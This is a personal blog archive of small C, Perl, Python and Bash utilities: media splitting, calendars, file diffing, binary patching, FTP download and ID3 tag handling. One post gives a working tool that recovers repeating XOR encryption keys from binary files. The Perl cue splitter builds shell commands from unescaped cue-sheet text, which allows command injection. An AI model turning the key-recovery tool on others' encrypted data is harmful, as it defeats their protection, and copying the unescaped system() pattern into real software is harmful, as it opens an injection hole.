    for (i = 1; i < argc; i++) {
      if (stat(argv[i], &st) == 0) {
        if (S_ISDIR(st.st_mode)) {
          if (i > 1)
            printf("\n");
          printf("%s:\n", argv[i]);
          list(argv[i]);
        }
      }
    }
  } else {
    list(".");
  }

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 02/04-2014, Article Link

Cue Sheet Splitter

Here is a Perl script that reads a cue sheet file and attempts to use that to split an associated WAV file.
It relies on both the "sox" (Sound eXchange, the Swiss Army knife of audio manipulation) and "flac" (Free Lossless Audio Codec) external tools.

I have used it successfully on several sets, take a look:

#!/usr/bin/perl -w
use strict;
# FLAC to WAV: flac -d *.flac

my $src = shift @ARGV or die "Usage: $0 <big wav file>\n";

undef $/;

my $last_track = 0;
my $last_title = 0;
my $last_artist = 0;
my $last_ts_min = 0;
my $last_ts_sec = 0;
my $last_ts_msec = 0;

while (<>) {
  while (m/TRACK (\d+) AUDIO.*?TITLE "([^"]*)".*?PERFORMER "([^"]*)".*?INDEX \d+ (\d+):(\d+):(\d+)/gs) {
    my $track = $1;
    my $title = $2;
    my $artist = $3;
    my $ts_min = $4;
    my $ts_sec = $5;
    my $ts_msec = $6;

    my $last_msec = ($last_ts_min * 60 * 100) + ($last_ts_sec * 100) + $last_ts_msec;
    my $msec = ($ts_min * 60 * 100) + ($ts_sec * 100) + $ts_msec;
    my $diff_total = $msec - $last_msec;
    my $duration = $diff_total / 100;

    if ($last_track > 0) {
      system("sox $src $last_track.wav trim $last_ts_min:$last_ts_sec.$last_ts_msec $duration");
      system("flac --best $last_track.wav");
      system("mv $last_track.flac \"$last_track - $last_artist - $last_title.flac\"");
    }

    $last_track = $track;
    $last_title = $title;
    $last_artist = $artist;
    $last_ts_min = $ts_min;
    $last_ts_sec = $ts_sec;
    $last_ts_msec = $ts_msec;
  }
}

system("sox $src $last_track.wav trim $last_ts_min:$last_ts_sec.$last_ts_msec");
system("flac --best $last_track.wav");
system("mv $last_track.flac \"$last_track - $last_artist - $last_title.flac\"");
          


Topic: Scripts and Code, by Kjetil @ 01/03-2014, Article Link

HTML Calendar Generator

There is probably a ton of these already, but here is my contribution, based on my personal preferences. I prefer to have week numbers on my calendars, and that the week starts on Mondays. The output is in a 4x3 month format, suitable for printing on a A4 sized landscape oriented paper.

Here is the Python script:

#!/usr/bin/python

import calendar
import datetime
import sys

if len(sys.argv) > 1:
    try:
        year = int(sys.argv[1])
    except ValueError:
        sys.exit(1)
else:
    year = datetime.date.today().year

print '''<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <title>%s</title>
  <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
  <style type="text/css">
    table.year { 
      background-color: white;
    }
    table.month {
      background-color: gray;
      border: 5px solid white
    }
    td.year-name {
      background-color: white;
      text-align: center;
      font-weight: bold;
    }
    td.month-name {
      background-color: white;
      text-align: center;
      font-weight: bold;
      height: 20px;
    }
    td.wday {
      background-color: lightgray;
      color: black;
      text-align: center;
      width: 30px;
      height: 20px;
    }
    td.day {
      background-color: white;
      color: black;
      text-align: center;
      width: 30px;
      height: 20px;
    }
    td.week {
      background-color: lightgray;
      color: black;
      text-align: center;
      font-weight: bold;
      width: 25px;
      height: 20px;
    }
    h1 {
      text-align: center;
    }
  </style>
</head>
<body>
<table class="year">
<tr><td class="year-name" colspan="4"><h1>%s</h1></td></tr>
<tr>
<td>''' % (year, year)

for month in range(1, 13):
    skip_days, last_day = calendar.monthrange(year, month)
    day = 1

    print '<table class="month">'
    print '<tr><td class="month-name" colspan="8">%s</td></tr>''' % (calendar.month_name[month])

    print '<tr>'
    print '<td></td>'
    for wday in range(0, 7):
        print '<td class="wday">%s</td>' % (calendar.day_abbr[wday])
    print '</tr>'

    for row in range(6):
        print '<tr>'
        try:
            week = datetime.date(year, month, day).isocalendar()[1]
            print '<td class="week">%d</td>' % (week)
        except ValueError:
            print '<td class="week"></td>'

        for col in range(7):
            if skip_days:
                print '<td class="day"></td>'
                skip_days -= 1
            else:
                if day > last_day:
                    print '<td class="day"></td>'
                else:
                    print '<td class="day">%d</td>' % (day)
                    day += 1

        print '</tr>'

    print '</table>'
    if month % 4 == 0:
        print '</td>'
        print '</tr>'
        if month != 12:
            print '<tr>'
            print '<td>'
    else:
        print '</td>'
        print '<td>'

print '</table>'
print '</body>'
print '</html>'
          


Here is a calendar generated for 2014.

Topic: Scripts and Code, by Kjetil @ 01/02-2014, Article Link

Curses Snow Crash

On my way to work one morning I got the idea for this program. Can it actually be called a program? It's more like a novelty, but so simple to make. Take a look at the excellent cmatrix for a similar, but much more advanced program.

The name is from Neal Stephenson's novel, where I imagine that the "Snow Crash" would look something like the output of this program.

Use it as a screen saver or just for fun, so check out the code:

#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <curses.h>

int main(int argc, char *argv[])
{
  int x, y, maxy, maxx;

  srand(time(NULL));

  initscr();
  atexit((void *)endwin);
  noecho();
  timeout(0);

  while (1) {
    if (getch() != ERR)
      return 0; /* Stop on any key press. */

    getmaxyx(stdscr, maxy, maxx);
    for (y = 0; y < maxy; y++) {
      for (x = 0; x < maxx; x++) {
        mvaddch(y, x, (rand() % 0x5E) + 0x21); /* 0x21 -> 0x7E */
      }
    }
    refresh();
    usleep(40000); /* ~24 frames per second. */
  }

  return 0;
}
          


Compiled and run; it will look something like this for each frame, just random characters splattered over the screen:

Snow Crash!


Here's a statically linked Win32 binary for convenience.

Topic: Scripts and Code, by Kjetil @ 01/12-2013, Article Link

Duplicate File Finder

This is kind of an improved version of the shell one-liner I made some years ago, except it does not remove the files, just lists them.

This new script uses Python, and it is almost too easy, since Python includes a file compare module in it's standard library. Take a look at the code:

#!/usr/bin/python

import os
import filecmp

class DupFinder(object):
    def __init__(self, dirname):
        self.dirname = dirname
        self.files = dict()

    def run(self):
        os.path.walk(self.dirname, self._walker, None)
        for dupes in self.files.values():
            if len(dupes) == 1:
                continue
            for path1 in dupes:
                for path2 in dupes:
                    if path1 == path2:
                        continue
                    if filecmp.cmp(path1, path2, False):
                        print "%s == %s" % (path1, path2)

    def _walker(self, arg, dirname, names):
        for file in names:
            try:
                path = os.path.join(dirname, file)
                size = os.path.getsize(path)
                if size == 0:
                    continue # Ignore empty files.
                if size in self.files:
                    self.files[size].append(path)
                else:
                    self.files[size] = [path]
            except OSError:
                continue
    
    def _compare(self, path1, path2):
        print path1, path2

if __name__ == "__main__":
    import sys

    if len(sys.argv) != 2:
        print "Usage: %s <directory>" % (sys.argv[0])
        sys.exit(1)

    dp = DupFinder(sys.argv[1])
    dp.run()

    sys.exit(0)
          


Topic: Scripts and Code, by Kjetil @ 05/10-2013, Article Link

File Renaming Using an Editor

Here is a script that builds on the principle of using a text editor to rename files. This is sometimes useful, since editors have more advanced features available, like block mode editing, compared to a shell.

The script generates another script that performs the renaming, but before the script is called, it's loaded into the editor. It operates on the current directory or another one if it's specified as an argument.

#!/bin/bash

SCRIPT="_rename.bash"

if [ ! -z "$1" ]; then
  cd "$1"
fi

if [ -e "./$SCRIPT" ]; then
  echo "$SCRIPT already exists, delete it if necessary."
  exit 1;
fi

LONGEST=0
for FILE in *; do
  if [ ! -e "$FILE" ]; then
    echo "Error: Directory empty!"
    exit 1;
  fi

  FILE="${FILE//\\/\\\\}"
  FILE="${FILE//\'/\'}"

  if [ ${#FILE} -gt $LONGEST ]; then
    LONGEST=${#FILE}
  fi
done

echo "#!/bin/bash" > "./$SCRIPT"
for FILE in *; do
  if [ "$FILE" = "$SCRIPT" ]; then
    continue
  fi

  FILE="${FILE//\\/\\\\}"
  FILE="${FILE//\'/\'}"

  echo -n "mv -v $'$FILE' " >> "./$SCRIPT"
  PAD=$(( $LONGEST - ${#FILE} ))
  while [ $PAD -gt 0 ]; do
    echo -n " " >> "./$SCRIPT"
    PAD=$(( $PAD - 1 ))
  done

  echo "$'$FILE'" >> "./$SCRIPT"
done

chmod +x "./$SCRIPT"

if [ "${EDITOR##*/}" = "vim" ]; then
  $EDITOR -c "set nowrap" "./$SCRIPT"
else
  $EDITOR "./$SCRIPT"
fi

bash "./$SCRIPT"
rm -f "./$SCRIPT"
          


Topic: Scripts and Code, by Kjetil @ 02/09-2013, Article Link

Binary Patching Tools

Here is a couple of tools I created for patching binary files. The diffing tool will compare two binary files and print a list on standard out with differences. The differences is displayed with an offset and hex values of changed bytes. This output can be used together with the patching tool to patch existing files, since it uses the same format on standard in to determine where to make changes.

Here is the differ source code:

#include <stdio.h>
#include <stdbool.h>

int main(int argc, char *argv[])
{
  FILE *fh_old, *fh_new;
  int c_old, c_new;
  unsigned int address;
  bool prev_different;
  
  if (argc != 3) {
    fprintf(stderr, "Usage: %s <old file> <new file>\n", argv[0]);
    return 1;
  }

  fh_old = fopen(argv[1], "rb");
  if (fh_old == NULL) {
    fprintf(stderr, "Error: Unable to open file for reading: %s\n", argv[1]);
    return 1;
  }

  fh_new = fopen(argv[2], "rb");
  if (fh_new == NULL) {
    fprintf(stderr, "Error: Unable to open file for reading: %s\n", argv[2]);
    fclose(fh_old);
    return 1;
  }

  prev_different = false;
  address = 0;
  while ((c_old = fgetc(fh_old)) != EOF) {
    c_new = fgetc(fh_new);
    if (c_new == EOF) {
      fprintf(stderr, "Warning: New file shorter than old file.\n");
      break;
    }

    if (c_old != c_new) {
      if (prev_different) {
        printf(" %02x", c_new);
      } else {
        printf("%08x: %02x", address, c_new);
      }
      prev_different = true;
    } else {
      if (prev_different) {
        printf("\n");
      }
      prev_different = false;
    }

    address++;
  }

  c_new = fgetc(fh_new);
  if (c_new != EOF) {
    fprintf(stderr, "Warning: Old file shorter than new file.\n");
  }

  fclose(fh_old);
  fclose(fh_new);

  return 0;
}
          


Here is the patcher source code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CODE_MAX 256

typedef struct subst_s {
  unsigned int address;
  size_t code_len;
  unsigned char *code;
  struct subst_s *next;
} subst_t;

static subst_t *patch_read(FILE *fh)
{
  subst_t *current, *first;
  char line[CODE_MAX];
  unsigned char code[CODE_MAX];
  unsigned int address, byte;
  int consumed, start;
  size_t code_len;

  current = (subst_t *)malloc(sizeof(subst_t));
  if (current == NULL) {
    fprintf(stderr, "Error: malloc() failed.\n");
    return NULL;
  }
  current->address = 0xffffffff;
  current->code_len = 0;
  current->code = NULL;
  current->next = NULL;

  first = current;

  while (fgets(line, CODE_MAX, fh) != NULL) {
    if (strlen(line) <= 0)
      continue;
    if (line[0] == '#')
      continue;
    if (sscanf(line, "%x:%n", &address, &consumed) <= 0)
      continue;

    code_len = 0;
    start = consumed;
    while (sscanf(&line[start], "%2x%n", &byte, &consumed) > 0) {
      code[code_len] = byte;
      start += consumed;
      code_len++;
      if (code_len >= CODE_MAX)
        break;
    }

    if (code_len > 0) {
      current->address = address;
      current->code_len = code_len;
      current->code = (unsigned char *)malloc(code_len * sizeof(unsigned char));
      if (current->code == NULL) {
        fprintf(stderr, "Error: malloc() failed.\n");
        return NULL;
      }
      memcpy(current->code, code, code_len);

      current->next = (subst_t *)malloc(sizeof(subst_t));
      if (current->next == NULL) {
        fprintf(stderr, "Error: malloc() failed.\n");
        return NULL;
      }
      current->next->address = 0xffffffff;
      current->next->code_len = 0;
      current->next->code = NULL;
      current->next->next = NULL;

      current = current->next;
    }
  }

  return first;
}

static void patch_free(subst_t *patch)
{
  subst_t *prev;
  prev = NULL;
  while (patch->next != NULL) {
    if (prev != NULL)
      free(prev);
    if (patch->code != NULL)
      free(patch->code);
    prev = patch;
    patch = patch->next;
  }
  free(prev);
  free(patch);
}

int patch_lookup(subst_t *patch, int address)
{
  int i;
  while (patch->next != NULL) {
    for (i = 0; i < patch->code_len; i++) {
      if (patch->address + i == address)
        return (int)patch->code[i];
    }
    patch = patch->next;
  }
  return EOF;
}

int main(int argc, char *argv[])
{
  subst_t *patch;
  FILE *fh_old, *fh_new;
  int c_old, c_new;
  unsigned int address;
  
  if (argc != 3) {
    fprintf(stderr, "Usage: %s <old file> <new file>\n", argv[0]);
    return 1;
  }

  fh_old = fopen(argv[1], "rb");
  if (fh_old == NULL) {
    fprintf(stderr, "Error: Unable to open file for reading: %s\n", argv[1]);
    return 1;
  }

  fh_new = fopen(argv[2], "wb");
  if (fh_new == NULL) {
    fprintf(stderr, "Error: Unable to open file for writing: %s\n", argv[2]);
    fclose(fh_old);
    return 1;
  }

  patch = patch_read(stdin);

  address = 0;
  while ((c_old = fgetc(fh_old)) != EOF) {
    c_new = patch_lookup(patch, address);
    if (c_new != EOF) {
      fputc(c_new, fh_new);
    } else {
      fputc(c_old, fh_new);
    }
    address++;
  }

  patch_free(patch);

  fclose(fh_old);
  fclose(fh_new);

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 17/06-2013, Article Link

Directory Tree Diff

Another month, another tool. Here is a small program that recursively compares two directory trees and prints the changes. Specifically; missing files/directories, additional files/directories and changed files are listed with a different color and prefix, like this screenshot example shows:

Screenshot of difftree.


Files are compared by first checking the size, then a byte by byte comparison.

Here's the code:

#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <limits.h>

static void diff_print(int level, char symbol, char *name, int is_dir)
{
  while (level-- > 0)
    printf("  ");

#ifdef WINNT
  printf("%c%s", symbol, name);
#else
  switch (symbol) {
  case '=':
    printf("%c%s", symbol, name);
    break;
  case '*':
    printf("%c\e[1;31m%s\e[0m", symbol, name);
    break;
  case '+':
    printf("%c\e[1;34m%s\e[0m", symbol, name);
    break;
  case '-':
    printf("%c\e[1;35m%s\e[0m", symbol, name);
    break;
  }
#endif

  if (is_dir)
    printf("/");

  printf("\n");
}

static int diff_file(char *path1, char *path2)
{
  FILE *fh1, *fh2;
  int c1, c2;

  fh1 = fopen(path1, "rb");
  if (fh1 == NULL) {
    fprintf(stderr, "Warning: Unable to open file: %s\n", path1);
    return 0;
  }

  fh2 = fopen(path2, "rb");
  if (fh2 == NULL) {
    fprintf(stderr, "Warning: Unable to open file: %s\n", path2);
    return 0;
  }

  while ((c1 = fgetc(fh1)) != EOF) {
    c2 = fgetc(fh2);
    if (c1 != c2) {
      fclose(fh1);
      fclose(fh2);
      return 1;
    }
  }

  fclose(fh1);
  fclose(fh2);
  return 0;
}

static void diff_dir(char *path1, char *path2, int level)
{
  DIR *dh;
  struct dirent *entry;
  struct stat st1, st2;
  char fullpath1[PATH_MAX], fullpath2[PATH_MAX];

  dh = opendir(path1);
  if (dh == NULL) {
    fprintf(stderr, "Warning: Unable to open directory: %s\n", path1);
    return;
  }

  while ((entry = readdir(dh))) {
    if (entry->d_name[0] == '.')
      continue; /* Ignore files with leading dot. */

#ifdef WINNT
    snprintf(fullpath1, PATH_MAX, "%s\\%s", path1, entry->d_name);
    snprintf(fullpath2, PATH_MAX, "%s\\%s", path2, entry->d_name);
#else
    snprintf(fullpath1, PATH_MAX, "%s/%s", path1, entry->d_name);
    snprintf(fullpath2, PATH_MAX, "%s/%s", path2, entry->d_name);
#endif

    if (stat(fullpath1, &st1) == -1) {
      fprintf(stderr, "Warning: Unable to stat() path: %s\n", fullpath1);
      continue;
    }

    if (S_ISDIR(st1.st_mode)) {
      if (stat(fullpath2, &st2) == -1) {
        diff_print(level, '+', entry->d_name, 1);
      } else {
        if (S_ISDIR(st2.st_mode)) {
          diff_print(level, '=', entry->d_name, 1);
          diff_dir(fullpath1, fullpath2, level + 1);
        } else {
          diff_print(level, '+', entry->d_name, 1);
        }
      }
      
    } else if (S_ISREG(st1.st_mode)) {
      if (stat(fullpath2, &st2) == -1) {
        diff_print(level, '+', entry->d_name, 0);
      } else {
        if (S_ISREG(st2.st_mode)) {
          if (st1.st_size == st2.st_size) {
            if (diff_file(fullpath1, fullpath2)) {
              diff_print(level, '*', entry->d_name, 0);
            } else {
              diff_print(level, '=', entry->d_name, 0);
            }
          } else {
            diff_print(level, '*', entry->d_name, 0);
          }
        } else {
          diff_print(level, '+', entry->d_name, 0);
        }
      }
    }
  }
  closedir(dh);

  dh = opendir(path2);
  if (dh == NULL) {
    fprintf(stderr, "Warning: Unable to open directory: %s\n", path2);
    return;
  }

  while ((entry = readdir(dh))) {
    if (entry->d_name[0] == '.')
      continue; /* Ignore files with leading dot. */

#ifdef WINNT
    snprintf(fullpath1, PATH_MAX, "%s\\%s", path1, entry->d_name);
    snprintf(fullpath2, PATH_MAX, "%s\\%s", path2, entry->d_name);
#else
    snprintf(fullpath1, PATH_MAX, "%s/%s", path1, entry->d_name);
    snprintf(fullpath2, PATH_MAX, "%s/%s", path2, entry->d_name);
#endif

    if (stat(fullpath2, &st2) == -1) {
      fprintf(stderr, "Warning: Unable to stat() path: %s\n", fullpath2);
      continue;
    }

    if (S_ISDIR(st2.st_mode)) {
      if (stat(fullpath1, &st1) == -1) {
        diff_print(level, '-', entry->d_name, 1);
      } else {
        if (! S_ISDIR(st1.st_mode)) {
          diff_print(level, '-', entry->d_name, 1);
        }
      }
      
    } else if (S_ISREG(st2.st_mode)) {
      if (stat(fullpath1, &st1) == -1) {
        diff_print(level, '-', entry->d_name, 0);
      } else {
        if (! S_ISREG(st1.st_mode)) {
          diff_print(level, '-', entry->d_name, 0);
        }
      }
    }
  }
  closedir(dh);

  return;
}

int main(int argc, char *argv[])
{
  if (argc < 3) {
    fprintf(stderr, "Usage: %s <directory 1> <directory 2>\n", argv[0]);
    return 1;
  }

  diff_dir(argv[1], argv[2], 0);
  return 0;
}
          


I have also compiled a Windows binary binary for convenience, but note that this does not support colorized output!

Topic: Scripts and Code, by Kjetil @ 01/05-2013, Article Link

Recursive FTP Download with Python

This is a feature that I have missed many times, as it is not a built-in feature of the standard Python FTP library. I decided to hack together a solution myself, and it was easier than expected. Everything is downloaded in binary mode, since ASCII mode causes so many issues!

Enjoy:

#!/usr/bin/python

import ftplib
import os

def ftp_get_files(directory):
	print "Going Into:", directory
	ftp.cwd(directory)
	os.mkdir(directory)
	os.chdir(directory)

	listing = []
	ftp.dir(listing.append)
	for entry in listing: 
		filename = entry.split(None, 8)[-1]
		perm = entry.split()[0]

		if filename == '.' or filename == '..':
			continue

		if perm[0] == "d": # Directory
			ftp_get_files(filename)

		elif perm[0] == "-": # File
			print "Fetch:", filename
			ftp.retrbinary('RETR %s' % (filename), open(filename, 'wb').write)

	print "Going Back:", directory
	ftp.cwd("..")
	os.chdir("..")

if __name__ == "__main__":
	import sys

	if len(sys.argv) < 6:
		print "Usage: %s <hostname> <user> <pass> <initial dir> <download dir>" % (sys.argv[0])
		sys.exit(1)

	ftp = ftplib.FTP(sys.argv[1])
	ftp.login(sys.argv[2], sys.argv[3])
	ftp.cwd(sys.argv[4])
	ftp_get_files(sys.argv[5])
	ftp.close()

	sys.exit(0)

          


Topic: Scripts and Code, by Kjetil @ 09/03-2013, Article Link

Recursive Binary String Search

This program is similar to the other one I made a while back, except this one searches for matches against a binary (string) value instead. For ease of use, the binary string is specified using a hexadecimal string.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <limits.h>
#include <unistd.h>
#include <dirent.h>

static int hex_value(int c)
{
  if (c >= 0x30 && c <= 0x39) /* '0' - '9' */
    return c - 0x30;
  else if (c >= 0x41 && c <= 0x46) /* 'A' - 'F' */
    return (c - 0x41) + 10;
  else if (c >= 0x61 && c <= 0x66) /* 'a' - 'f' */
    return (c - 0x61) + 10;
  else
    return -1;
}

static int convert_from_hex(char *hex_string, 
  unsigned char *bin_string, int bin_string_len)
{
  int n1, n2, high;

  high = -1;
  n1 = n2 = 0;
  while (hex_string[n1] != '\0') {
    if (hex_value(hex_string[n1]) >= 0) {
      if (high == -1) {
        high = hex_string[n1];
      } else {
        bin_string[n2] = hex_value(high) * 16 + hex_value(hex_string[n1]);
        if (n2 >= bin_string_len)
          break;
        n2++;
        high = -1;
      }
    }
    n1++;
  }

  return n2;
}

static void search(char *path, unsigned char *bin_string, int len)
{
  int c, match, name_shown, address, match_address;
  FILE *fh;

  fh = fopen(path, "rb");
  if (fh == NULL) {
    fprintf(stderr, "Warning: Unable to open file: %s\n", path);
    return;
  }

  match = address = name_shown = match_address = 0;
  while ((c = fgetc(fh)) != EOF) {
    if (c == bin_string[match]) {
      if (match_address == 0)
        match_address = address;
      match++;
      if (match >= len) {
        if (! name_shown) {
          printf("%s\n", path);
          name_shown = 1;
        }
        printf("0x%x\n", match_address);
        match = 0;
        match_address = 0;
      }
    } else {
      match = 0;
      match_address = 0;
    }
    address++;
  }
  fclose(fh);
}

static void recurse(char *path, unsigned char *bin_string, int len)
{
  char full_path[PATH_MAX];
  struct dirent *entry;
  struct stat st;
  DIR *dh;

  dh = opendir(path);
  if (dh == NULL) {
    fprintf(stderr, "Warning: Unable to open directory: %s\n", path);
    return;
  }

  while ((entry = readdir(dh))) {
    if (entry->d_name[0] == '.')
      continue; /* Ignore files with leading dot. */

#ifdef WINNT
    snprintf(full_path, PATH_MAX, "%s\\%s", path, entry->d_name);
#else
    snprintf(full_path, PATH_MAX, "%s/%s", path, entry->d_name);
#endif

    stat(full_path, &st);
    if (S_ISDIR(st.st_mode)) {
      recurse(full_path, bin_string, len);
    } else if (S_ISREG(st.st_mode)) {
      search(full_path, bin_string, len);
    }
  }

  closedir(dh);
  return;
}

int main(int argc, char *argv[])
{
  int len;
  unsigned char *bin_string;
  struct stat st;

  if (argc != 3) {
    fprintf(stderr, "Usage: %s <directory or file> <hex string>\n", argv[0]);
    return 1;
  }

  len = strlen(argv[2]) / 2;
  bin_string = malloc(sizeof(unsigned char) * len);
  if (bin_string == NULL) {
    fprintf(stderr, "Error: Unable to malloc().\n");
    return 1;
  }

  len = convert_from_hex(argv[2], bin_string, len);
  if (len == 0) {
    fprintf(stderr, "Error: Invalid input hex string.\n");
    return 1;
  }

  stat(argv[1], &st);
  if (S_ISDIR(st.st_mode)) {
    recurse(argv[1], bin_string, len);
  } else if (S_ISREG(st.st_mode)) {
    search(argv[1], bin_string, len);
  } else {
    fprintf(stderr, "Error: Not a directory or regular file.\n");
    free(bin_string);
    return 1;
  }

  free(bin_string);

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 05/01-2013, Article Link

Cracker for XOR-Encrypted Binary Files

There is weakness that may appear when XOR-encrypting binary files. Many kinds of binary files contains lots of NULL-characters, meaning the encryption key will inadvertently be revealed at these locations, due to the nature of the XOR operation.

I hacked together a small program that uses Markov chains to look for repeats in printable characters. The result of the program is a string that may contain the encryption key, if the key is susceptible to this kind of "attack".

Take a look at the code:

#include <stdio.h>
#include <stdlib.h>

#define FILTER_FROM 0x20
#define FILTER_TO 0x7e
#define RANGE ((FILTER_TO - FILTER_FROM) + 1)

/* For tuning. */
#define PASS_LIMIT 64
#define DIVIDE 1.1

typedef struct markov_s {
  int count;
  char current;
  char next;
} markov_t;

static markov_t chains[RANGE * RANGE];

static int markov_cmp(const void *p1, const void *p2)
{
  if (((markov_t *)p1)->count < ((markov_t *)p2)->count)
    return 1;
  else if (((markov_t *)p1)->count > ((markov_t *)p2)->count)
    return -1;
  else
    return 0;
}

static char markov_next(markov_t *chain, char current)
{
  int i;

  for (i = 0; i < (RANGE * RANGE); i++) {
    if (chain[i].current == current) {
      chain[i].count /= DIVIDE; /* Divide possibilty. */
      return chain[i].next;
    }
  }
  
  return -1;
}

int main(void)
{
  int current, next, limit;

  for (current = FILTER_FROM; current <= FILTER_TO; current++) {
    for (next = FILTER_FROM; next <= FILTER_TO; next++) {
      chains[((current - 0x20) * RANGE) + (next - 0x20)].count = 0;
      chains[((current - 0x20) * RANGE) + (next - 0x20)].current = current;
      chains[((current - 0x20) * RANGE) + (next - 0x20)].next = next;
    }
  }

  while ((current = fgetc(stdin)) != EOF) {
    if (current >= 0x20 && current <= 0x7e)
      break;
  }
  if (current == EOF)
    return 1;

  while ((next = fgetc(stdin)) != EOF) {
    if (next >= 0x20 && next <= 0x7e) {
      chains[((current - 0x20) * RANGE) + (next - 0x20)].count++;
      current = next;
    }
  }

  qsort(chains, RANGE * RANGE, sizeof(markov_t), markov_cmp);

  current = chains[0].current;
  for (limit = 0; limit < PASS_LIMIT; limit++) {
    printf("%c", current);
    current = markov_next(chains, current);
    /* Sort again after division. */
    qsort(chains, RANGE * RANGE, sizeof(markov_t), markov_cmp);
    if (current == -1)
      break;
  }
  printf("\n");

  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 01/12-2012, Article Link

ID3 Tools

For some reason, it's not that easy to find command line programs that deal with ID3 tags (as used in MP3 files) on Linux anymore. There are some updated libraries, but most of the programs I found were somewhat outdated. Because of this, I found the ID3 specifications and wrote a couple of tools my self. The first tool just checks for tag presence in a file, while the second one strips all tags. There are actually three kinds of tags to look for; ID3v1, ID3v2 and the strange MusicMatch tag.

Here's the tag detector:

#include <stdio.h>
#include <string.h>

static int has_id3v1(FILE *fh)
{
  unsigned char tag[3];

  if (fseek(fh, -128, SEEK_END) == -1)
    return 0;

  fread(tag, sizeof(unsigned char), 3, fh);

  if (tag[0] == 'T' && tag[1] == 'A' && tag[2] == 'G')
    return 1;
  else
    return 0;
}

static int has_id3v2(FILE *fh)
{
  unsigned char tag[10];

  if (fseek(fh, 0, SEEK_SET) == -1)
    return 0;

  fread(tag, sizeof(unsigned char), 10, fh);

  if (tag[0] == 'I' &&
      tag[1] == 'D' &&
      tag[2] == '3' &&
      tag[3] < 0xFF &&
      tag[4] < 0xFF &&
      tag[6] < 0x80 &&
      tag[7] < 0x80 &&
      tag[8] < 0x80 &&
      tag[9] < 0x80) {
    return 1;
  }

  return 0;
}

static int has_musicmatch(FILE *fh)
{
  char tag[19];

  if (fseek(fh, -48, SEEK_END) == -1)
    return 0;

  fread(tag, sizeof(char), 19, fh);

  if (memcmp(tag, "Brava Software Inc.", 19) == 0)
    return 1;
  else
    return 0;
}

int main(int argc, char *argv[])
{
  FILE *fh;

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <mp3-file>\n", argv[0]);
    return 1;
  }

  fh = fopen(argv[1], "r");
  if (fh == NULL)
    return 1;

  printf("%s:%s%s%s\n", argv[1], 
    (has_id3v1(fh)) ? " id3v1" : "",
    (has_id3v2(fh)) ? " id3v2" : "",
    (has_musicmatch(fh)) ? " musicmatch" : "");

  fclose(fh);
  return 0;
}
          


Here's the tag stripper:

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#define BUFFER_SIZE 512

static int has_id3v1(FILE *fh)
{
  unsigned char tag[3];

  if (fseek(fh, -128, SEEK_END) == -1)
    return 0;

  fread(tag, sizeof(unsigned char), 3, fh);

  if (tag[0] == 'T' && tag[1] == 'A' && tag[2] == 'G')
    return 1;
  else
    return 0;
}

static int has_id3v2(FILE *fh)
{
  unsigned char tag[10];

  if (fseek(fh, 0, SEEK_SET) == -1)
    return 0;

  fread(tag, sizeof(unsigned char), 10, fh);

  if (tag[0] == 'I' &&
      tag[1] == 'D' &&
      tag[2] == '3' &&
      tag[3] < 0xFF &&
      tag[4] < 0xFF &&
      tag[6] < 0x80 &&
      tag[7] < 0x80 &&
      tag[8] < 0x80 &&
      tag[9] < 0x80) {
    return tag[9] + (tag[8] << 7) + (tag[7] << 14) + (tag[6] << 21) + 10;
  }

  return 0;
}

int main(int argc, char *argv[])
{
  FILE *in, *out;
  int start, remaining, bytes;
  struct stat st;
  char buffer[BUFFER_SIZE];

  if (argc != 3) {
    fprintf(stderr, "Usage: %s <in> <out>\n", argv[0]);
    return 1;
  }

  if (stat(argv[1], &st) == -1) {
    fprintf(stderr, "Error: Could not stat file: %s\n", argv[1]);
    return 1;
  }

  in = fopen(argv[1], "r");
  if (in == NULL) {
    fprintf(stderr, "Error: Could not open file for reading: %s\n", argv[1]);
    return 1;
  }

  out = fopen(argv[2], "w");
  if (out == NULL) {
    fprintf(stderr, "Error: Could not open file for writing: %s\n", argv[2]);
    fclose(in);
    return 1;
  }

  if (has_id3v1(in))
    remaining = st.st_size - 128;
  else 
    remaining = st.st_size;

  start = has_id3v2(in);
  remaining -= start;
  fseek(in, start, SEEK_SET);

  while (remaining > 0) {
    bytes = fread(buffer, sizeof(char), 
      (remaining > BUFFER_SIZE) ? BUFFER_SIZE : remaining, in);
    fwrite(buffer, sizeof(char), bytes, out);
    remaining -= bytes;
  }

  fclose(in);
  fclose(out);
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 06/11-2012, Article Link

URL Decoder and Encoder

Here are some simple C-based filter programs to decode and encode URL-encoded hex characters.

The "decoder", detects and decodes any URL-encoded characters in the stream:

#include <stdio.h>

static int from_hex(char c)
{
  switch (c) {
  case '0':
  case '1':
  case '2':
  case '3':
  case '4':
  case '5':
  case '6':
  case '7':
  case '8':
  case '9':
    return c - 0x30;
  case 'A':
  case 'B':
  case 'C':
  case 'D':
  case 'E':
  case 'F':
    return c - 55;
  case 'a':
  case 'b':
  case 'c':
  case 'd':
  case 'e':
  case 'f':
    return c - 87;
  }
  return 0;
}

int main(void)
{
  int c, in_code, first_hex;

  in_code = 0;
  while ((c = fgetc(stdin)) != EOF) {
    if (in_code == 1) {
      first_hex = from_hex(c);
      in_code++;
    } else if (in_code == 2) {
      fputc(from_hex(c) + (first_hex * 16), stdout);
      in_code = 0;
    } else {
      if (c == '%') {
        in_code = 1;
      } else {
        fputc(c, stdout);
      }
    }
  }

  return 0;
}
          


The "encoder", simply encodes every character into the URL-encoded counter-part:

#include <stdio.h>

static char to_hex(int n)
{
  switch (n) {
  case 0:
  case 1:
  case 2:
  case 3:
  case 4:
  case 5:
  case 6:
  case 7:
  case 8:
  case 9:
    return n + 0x30;
  case 10:
  case 11:
  case 12:
  case 13:
